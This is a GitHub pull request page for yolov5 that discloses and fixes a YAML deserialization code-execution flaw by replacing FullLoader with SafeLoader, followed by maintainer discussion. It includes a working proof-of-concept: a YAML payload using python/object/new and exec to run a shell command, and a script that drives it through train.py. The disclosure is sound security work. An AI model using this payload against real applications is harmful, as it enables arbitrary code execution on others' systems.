Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Fix for Arbitrary Code Execution - huntr.dev #1962

Merged
merged 2 commits into from
Jan 17, 2021

Conversation

huntr-helper
Copy link
Contributor

@huntr-helper huntr-helper commented Jan 17, 2021

https://huntr.dev/users/Anon-Artist has fixed the Arbitrary Code Execution vulnerability 🔨. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#1
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/other/yolov5/1/README.md

User Comments:

📊 Metadata *

Arbitrary Code Excecution in ultralytics/yolov5. Yolov5 is a Object Detection model from Ultralytics. Ultralytics is a U.S.-based particle physics and AI startup with over 6 years of expertise supporting government, academic and business clients. Ultralytics offer a wide range of vision AI services, spanning from simple expert advice up to delivery of fully customized, end-to-end production solutions.

Bounty URL: https://www.huntr.dev/bounties/1-other-yolov5

⚙️ Description *

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml.

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

import os
exploit = '''!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
'''
os.system('git clone https://github.com/ultralytics/yolov5.git')
os.chdir('yolov5/')
os.system('rm exploit.yml')
open('exploit.yml','w+').write(exploit)
os.system('python train.py --data exploit.yml --cfg exploit.yml --weights "" --batch-size 24')

Execute the following commands in another terminal:

python3 exploit.py
Check the Output:

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix it will not popup a calc

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

🛠️ PR Summary

Made with ❤️ by Ultralytics Actions

🌟 Summary

Improved security in YAML file loading within the training script.

📊 Key Changes

  • Changed YAML loader from FullLoader to SafeLoader in the train.py script.

🎯 Purpose & Impact

  • 🛡️ Purpose: The change enhances the security by preventing the execution of arbitrary code during the YAML loading process.
  • 🦺 Impact to Users: Users will benefit from safer parsing of YAML files when setting up their training configurations, reducing the risk of malicious exploits.

Copy link
Contributor

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

👋 Hello @huntr-helper, thank you for submitting a 🚀 PR! To allow your work to be integrated as seamlessly as possible, we advise you to:

  • ✅ Verify your PR is up-to-date with origin/master. If your PR is behind origin/master update by running the following, replacing 'feature' with the name of your local branch:
git remote add upstream https://github.com/ultralytics/yolov5.git
git fetch upstream
git checkout feature  # <----- replace 'feature' with local branch name
git rebase upstream/master
git push -u origin -f
  • ✅ Verify all Continuous Integration (CI) checks are passing.
  • ✅ Reduce changes to the absolute minimum required for your bug fix or feature addition. "It is not daily increase but daily decrease, hack away the unessential. The closer to the source, the less wastage there is." -Bruce Lee

@glenn-jocher glenn-jocher merged commit b5d851d into ultralytics:master Jan 17, 2021
@glenn-jocher
Copy link
Member

glenn-jocher commented Jan 17, 2021

@Anon-Artist thanks for the PR! I was not aware of the yaml security vulnerability.

The yaml FullLoader is actually used in multiple locations within the repo, I think in models/yolo.py and possibly hubconf.py, should all these instances of FullLoader use be modified as well?

@Anon-Artist
Copy link
Contributor

Anon-Artist commented Jan 18, 2021 via email

@glenn-jocher
Copy link
Member

@Anon-Artist ok! Yes another PR sounds good for the remaining instances.

@Anon-Artist
Copy link
Contributor

Anon-Artist commented Jan 18, 2021

@glenn-jocher i had created 5 more PR in each and everywhere the unsafe function used

#1968
#1969
#1970
#1971
#1972

Please do merge them then
yolov5 is safe from Yaml Deserialization Vulnerability leads to Arbitary Code Execution

@glenn-jocher
Copy link
Member

@Anon-Artist all done!

Thank you for your contributions.

@Anon-Artist
Copy link
Contributor

Always welcome @glenn-jocher and thanks to huntr team and @JamieSlome for this opportunity 😃

KMint1819 pushed a commit to KMint1819/yolov5 that referenced this pull request May 12, 2021
taicaile pushed a commit to taicaile/yolov5 that referenced this pull request Oct 12, 2021
BjarneKuehl pushed a commit to fhkiel-mlaip/yolov5 that referenced this pull request Aug 26, 2022
@akashlinux10may
Copy link

While deploying the application in real time production using yolov5 custom model, in checkmarx scan I got the high severity warning for following files.

yolov5\models\experimental.py (line 88)
Warning: Attacker can inject and run arbitrary code

yolov5\hubconf.py (line 143)
Warning: Attacker can inject the code via user input.

Impact: Could not able to run the model in secure environment.

Any resolution?

@glenn-jocher
Copy link
Member

@akashlinux10may thanks for your feedback! We take security seriously and are continuously working to improve YOLOv5. The warning you received from Checkmarx will be addressed promptly by the Ultralytics team. We'll ensure that the code is reviewed and necessary security measures are put in place. Thank you for bringing this to our attention.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants